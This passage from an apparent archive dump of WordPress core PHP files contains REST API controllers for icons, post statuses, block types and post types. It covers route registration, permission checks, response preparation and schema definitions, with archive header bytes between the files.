`collection` field. * * @param array $item Raw icon as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'name' => 'name', 'label' => 'label', 'content' => 'content', 'collection' => 'collection', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the icon schema, conforming to JSON Schema. * * @since 7.0.0 * @since 7.1.0 Added the `collection` property. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'icon', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The icon name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The icon label.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The icon content (SVG markup).' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'collection' => array( 'description' => __( 'The slug of the collection this icon belongs to.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the icons collection. * * @since 7.0.0 * @since 7.1.0 Added the `collection` parameter. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['collection'] = array( 'description' => __( 'Limit results to icons belonging to the given collection slug.' ), 'type' => 'string', 'pattern' => '^[a-z0-9]([a-z0-9_-]*[a-z0-9])?$', ); return $query_params; } } PK!hE(E(*class-wp-rest-post-statuses-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'statuses'; } /** * Registers the routes for post statuses. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'status' => array( 'description' => __( 'An alphanumeric identifier for the status.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read post statuses. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage post statuses.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all post statuses, depending on user context. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); $statuses = get_post_stati( array( 'internal' => false ), 'object' ); $statuses['trash'] = get_post_status_object( 'trash' ); foreach ( $statuses as $obj ) { $ret = $this->check_read_permission( $obj ); if ( ! $ret ) { continue; } $status = $this->prepare_item_for_response( $obj, $request ); $data[ $obj->name ] = $this->prepare_response_for_collection( $status ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a post status. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $status = get_post_status_object( $request['status'] ); if ( empty( $status ) ) { return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) ); } $check = $this->check_read_permission( $status ); if ( ! $check ) { return new WP_Error( 'rest_cannot_read_status', __( 'Cannot view status.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks whether a given post status should be visible. * * @since 4.7.0 * * @param object $status Post status. * @return bool True if the post status is visible, otherwise false. */ protected function check_read_permission( $status ) { if ( true === $status->public ) { return true; } if ( false === $status->internal || 'trash' === $status->name ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } } return false; } /** * Retrieves a specific post status. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $obj = get_post_status_object( $request['status'] ); if ( empty( $obj ) ) { return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a post status object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support. * * @param stdClass $item Post status data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Post status data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $status = $item; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'name', $fields, true ) ) { $data['name'] = $status->label; } if ( in_array( 'private', $fields, true ) ) { $data['private'] = (bool) $status->private; } if ( in_array( 'protected', $fields, true ) ) { $data['protected'] = (bool) $status->protected; } if ( in_array( 'public', $fields, true ) ) { $data['public'] = (bool) $status->public; } if ( in_array( 'queryable', $fields, true ) ) { $data['queryable'] = (bool) $status->publicly_queryable; } if ( in_array( 'show_in_list', $fields, true ) ) { $data['show_in_list'] = (bool) $status->show_in_admin_all_list; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $status->name; } if ( in_array( 'date_floating', $fields, true ) ) { $data['date_floating'] = $status->date_floating; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) ); if ( 'publish' === $status->name ) { $response->add_link( 'archives', $rest_url ); } else { $response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) ); } /** * Filters a post status returned from the REST API. * * Allows modification of the status data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param object $status The original post status object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_status', $response, $status, $request ); } /** * Retrieves the post status' schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'status', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The title for the status.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'private' => array( 'description' => __( 'Whether posts with this status should be private.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether posts with this status should be protected.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'public' => array( 'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'queryable' => array( 'description' => __( 'Whether posts with this status should be publicly-queryable.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'show_in_list' => array( 'description' => __( 'Whether to include posts in the edit listing for their post type.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the status.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'date_floating' => array( 'description' => __( 'Whether posts of this status may have floating published dates.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } PK!hh(class-wp-rest-block-types-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'block-types'; $this->block_registry = WP_Block_Type_Registry::get_instance(); $this->style_registry = WP_Block_Styles_Registry::get_instance(); } /** * Registers the routes for block types. * * @since 5.5.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)/(?P[a-zA-Z0-9_-]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Block name.' ), 'type' => 'string', ), 'namespace' => array( 'description' => __( 'Block namespace.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read post block types. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_read_permission(); } /** * Retrieves all post block types, depending on user context. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $data = array(); $block_types = $this->block_registry->get_all_registered(); // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); $namespace = ''; if ( isset( $registered['namespace'] ) && ! empty( $request['namespace'] ) ) { $namespace = $request['namespace']; } foreach ( $block_types as $obj ) { if ( $namespace ) { list ( $block_namespace ) = explode( '/', $obj->name ); if ( $namespace !== $block_namespace ) { continue; } } $block_type = $this->prepare_item_for_response( $obj, $request ); $data[] = $this->prepare_response_for_collection( $block_type ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a block type. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->check_read_permission(); if ( is_wp_error( $check ) ) { return $check; } $block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] ); $block_type = $this->get_block( $block_name ); if ( is_wp_error( $block_type ) ) { return $block_type; } return true; } /** * Checks whether a given block type should be visible. * * @since 5.5.0 * * @return true|WP_Error True if the block type is visible, WP_Error otherwise. */ protected function check_read_permission() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_block_type_cannot_view', __( 'Sorry, you are not allowed to manage block types.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Get the block, if the name is valid. * * @since 5.5.0 * * @param string $name Block name. * @return WP_Block_Type|WP_Error Block type object if name is valid, WP_Error otherwise. */ protected function get_block( $name ) { $block_type = $this->block_registry->get_registered( $name ); if ( empty( $block_type ) ) { return new WP_Error( 'rest_block_type_invalid', __( 'Invalid block type.' ), array( 'status' => 404 ) ); } return $block_type; } /** * Retrieves a specific block type. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] ); $block_type = $this->get_block( $block_name ); if ( is_wp_error( $block_type ) ) { return $block_type; } $data = $this->prepare_item_for_response( $block_type, $request ); return rest_ensure_response( $data ); } /** * Prepares a block type object for serialization. * * @since 5.5.0 * @since 5.9.0 Renamed `$block_type` to `$item` to match parent class for PHP 8 named parameter support. * @since 6.3.0 Added `selectors` field. * @since 6.5.0 Added `view_script_module_ids` field. * * @param WP_Block_Type $item Block type data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Block type data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $block_type = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php */ return apply_filters( 'rest_prepare_block_type', new WP_REST_Response( array() ), $block_type, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'attributes', $fields ) ) { $data['attributes'] = $block_type->get_attributes(); } if ( rest_is_field_included( 'is_dynamic', $fields ) ) { $data['is_dynamic'] = $block_type->is_dynamic(); } $schema = $this->get_item_schema(); // Fields deprecated in WordPress 6.1, but left in the schema for backwards compatibility. $deprecated_fields = array( 'editor_script', 'script', 'view_script', 'editor_style', 'style', ); $extra_fields = array_merge( array( 'api_version', 'name', 'title', 'description', 'icon', 'category', 'keywords', 'parent', 'ancestor', 'allowed_blocks', 'provides_context', 'uses_context', 'selectors', 'supports', 'styles', 'textdomain', 'example', 'editor_script_handles', 'script_handles', 'view_script_handles', 'view_script_module_ids', 'editor_style_handles', 'style_handles', 'view_style_handles', 'variations', 'block_hooks', ), $deprecated_fields ); foreach ( $extra_fields as $extra_field ) { if ( rest_is_field_included( $extra_field, $fields ) ) { if ( isset( $block_type->$extra_field ) ) { $field = $block_type->$extra_field; if ( in_array( $extra_field, $deprecated_fields, true ) && is_array( $field ) ) { // Since the schema only allows strings or null (but no arrays), we return the first array item. $field = ! empty( $field ) ? array_shift( $field ) : ''; } } elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) { $field = $schema['properties'][ $extra_field ]['default']; } else { $field = ''; } $data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] ); } } if ( rest_is_field_included( 'styles', $fields ) ) { $styles = $this->style_registry->get_registered_styles_for_block( $block_type->name ); $styles = array_values( $styles ); $data['styles'] = wp_parse_args( $styles, $data['styles'] ); $data['styles'] = array_filter( $data['styles'] ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $block_type ) ); } /** * Filters a block type returned from the REST API. * * Allows modification of the block type data right before it is returned. * * @since 5.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Block_Type $block_type The original block type object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_block_type', $response, $block_type, $request ); } /** * Prepares links for the request. * * @since 5.5.0 * * @param WP_Block_Type $block_type Block type data. * @return array Links for the given block type. */ protected function prepare_links( $block_type ) { list( $namespace ) = explode( '/', $block_type->name ); $links = array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $block_type->name ) ), ), 'up' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $namespace ) ), ), ); if ( $block_type->is_dynamic() ) { $links['https://api.w.org/render-block'] = array( 'href' => add_query_arg( 'context', 'edit', rest_url( sprintf( '%s/%s/%s', 'wp/v2', 'block-renderer', $block_type->name ) ) ), ); } return $links; } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.5.0 * @since 6.3.0 Added `selectors` field. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } // rest_validate_value_from_schema doesn't understand $refs, pull out reused definitions for readability. $inner_blocks_definition = array( 'description' => __( 'The list of inner blocks used in the example.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The name of the inner block.' ), 'type' => 'string', 'pattern' => self::NAME_PATTERN, 'required' => true, ), 'attributes' => array( 'description' => __( 'The attributes of the inner block.' ), 'type' => 'object', ), 'innerBlocks' => array( 'description' => __( "A list of the inner block's own inner blocks. This is a recursive definition following the parent innerBlocks schema." ), 'type' => 'array', ), ), ), ); $example_definition = array( 'description' => __( 'Block example.' ), 'type' => array( 'object', 'null' ), 'default' => null, 'properties' => array( 'attributes' => array( 'description' => __( 'The attributes used in the example.' ), 'type' => 'object', ), 'innerBlocks' => $inner_blocks_definition, ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $keywords_definition = array( 'description' => __( 'Block keywords.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $icon_definition = array( 'description' => __( 'Icon of block type.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $category_definition = array( 'description' => __( 'Block category.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-type', 'type' => 'object', 'properties' => array( 'api_version' => array( 'description' => __( 'Version of block API.' ), 'type' => 'integer', 'default' => 1, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'title' => array( 'description' => __( 'Title of block type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Unique name identifying the block type.' ), 'type' => 'string', 'pattern' => self::NAME_PATTERN, 'required' => true, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of block type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'icon' => $icon_definition, 'attributes' => array( 'description' => __( 'Block attributes.' ), 'type' => array( 'object', 'null' ), 'properties' => array(), 'default' => null, 'additionalProperties' => array( 'type' => 'object', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'provides_context' => array( 'description' => __( 'Context provided by blocks of this type.' ), 'type' => 'object', 'properties' => array(), 'additionalProperties' => array( 'type' => 'string', ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'uses_context' => array( 'description' => __( 'Context values inherited by blocks of this type.' ), 'type' => 'array', 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'selectors' => array( 'description' => __( 'Custom CSS selectors.' ), 'type' => 'object', 'default' => array(), 'properties' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'supports' => array( 'description' => __( 'Block supports.' ), 'type' => 'object', 'default' => array(), 'properties' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'category' => $category_definition, 'is_dynamic' => array( 'description' => __( 'Is the block dynamically rendered.' ), 'type' => 'boolean', 'default' => false, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_script_handles' => array( 'description' => __( 'Editor script handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'script_handles' => array( 'description' => __( 'Public facing and editor script handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_script_handles' => array( 'description' => __( 'Public facing script handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_script_module_ids' => array( 'description' => __( 'Public facing script module IDs.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_style_handles' => array( 'description' => __( 'Editor style handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'style_handles' => array( 'description' => __( 'Public facing and editor style handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_style_handles' => array( 'description' => __( 'Public facing style handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'styles' => array( 'description' => __( 'Block style variations.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'Unique name identifying the style.' ), 'type' => 'string', 'required' => true, ), 'label' => array( 'description' => __( 'The human-readable label for the style.' ), 'type' => 'string', ), 'inline_style' => array( 'description' => __( 'Inline CSS code that registers the CSS class required for the style.' ), 'type' => 'string', ), 'style_handle' => array( 'description' => __( 'Contains the handle that defines the block style.' ), 'type' => 'string', ), ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'variations' => array( 'description' => __( 'Block variations.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The unique and machine-readable name.' ), 'type' => 'string', 'required' => true, ), 'title' => array( 'description' => __( 'A human-readable variation title.' ), 'type' => 'string', 'required' => true, ), 'description' => array( 'description' => __( 'A detailed variation description.' ), 'type' => 'string', 'required' => false, ), 'category' => $category_definition, 'icon' => $icon_definition, 'isDefault' => array( 'description' => __( 'Indicates whether the current variation is the default one.' ), 'type' => 'boolean', 'required' => false, 'default' => false, ), 'attributes' => array( 'description' => __( 'The initial values for attributes.' ), 'type' => 'object', ), 'innerBlocks' => $inner_blocks_definition, 'example' => $example_definition, 'scope' => array( 'description' => __( 'The list of scopes where the variation is applicable. When not provided, it assumes all available scopes.' ), 'type' => array( 'array', 'null' ), 'default' => null, 'items' => array( 'type' => 'string', 'enum' => array( 'block', 'inserter', 'transform' ), ), 'readonly' => true, ), 'keywords' => $keywords_definition, ), ), 'readonly' => true, 'context' => array( 'embed', 'view', 'edit' ), 'default' => null, ), 'textdomain' => array( 'description' => __( 'Public text domain.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'parent' => array( 'description' => __( 'Parent blocks.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', 'pattern' => self::NAME_PATTERN, ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'ancestor' => array( 'description' => __( 'Ancestor blocks.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', 'pattern' => self::NAME_PATTERN, ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'allowed_blocks' => array( 'description' => __( 'Allowed child block types.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', 'pattern' => self::NAME_PATTERN, ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'keywords' => $keywords_definition, 'example' => $example_definition, 'block_hooks' => array( 'description' => __( 'This block is automatically inserted near any occurrence of the block types used as keys of this map, into a relative position given by the corresponding value.' ), 'type' => 'object', 'patternProperties' => array( self::NAME_PATTERN => array( 'type' => 'string', 'enum' => array( 'before', 'after', 'first_child', 'last_child' ), ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); // Properties deprecated in WordPress 6.1, but left in the schema for backwards compatibility. $deprecated_properties = array( 'editor_script' => array( 'description' => __( 'Editor script handle. DEPRECATED: Use `editor_script_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'script' => array( 'description' => __( 'Public facing and editor script handle. DEPRECATED: Use `script_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_script' => array( 'description' => __( 'Public facing script handle. DEPRECATED: Use `view_script_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_style' => array( 'description' => __( 'Editor style handle. DEPRECATED: Use `editor_style_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'style' => array( 'description' => __( 'Public facing and editor style handle. DEPRECATED: Use `style_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ); $this->schema['properties'] = array_merge( $this->schema['properties'], $deprecated_properties ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 5.5.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'namespace' => array( 'description' => __( 'Block namespace.' ), 'type' => 'string', ), ); } } PK!=77'class-wp-rest-post-types-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'types'; } /** * Registers the routes for post types. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'type' => array( 'description' => __( 'An alphanumeric identifier for the post type.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => '__return_true', 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read types. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all public post types. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $data = array(); $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( 'edit' === $request['context'] && ! current_user_can( $type->cap->edit_posts ) ) { continue; } $post_type = $this->prepare_item_for_response( $type, $request ); $data[ $type->name ] = $this->prepare_response_for_collection( $post_type ); } return rest_ensure_response( $data ); } /** * Retrieves a specific post type. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $obj = get_post_type_object( $request['type'] ); if ( empty( $obj ) ) { return new WP_Error( 'rest_type_invalid', __( 'Invalid post type.' ), array( 'status' => 404 ) ); } if ( empty( $obj->show_in_rest ) ) { return new WP_Error( 'rest_cannot_read_type', __( 'Cannot view post type.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } $data = $this->prepare_item_for_response( $obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a post type object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$post_type` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post_Type $item Post type object. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post_type = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This 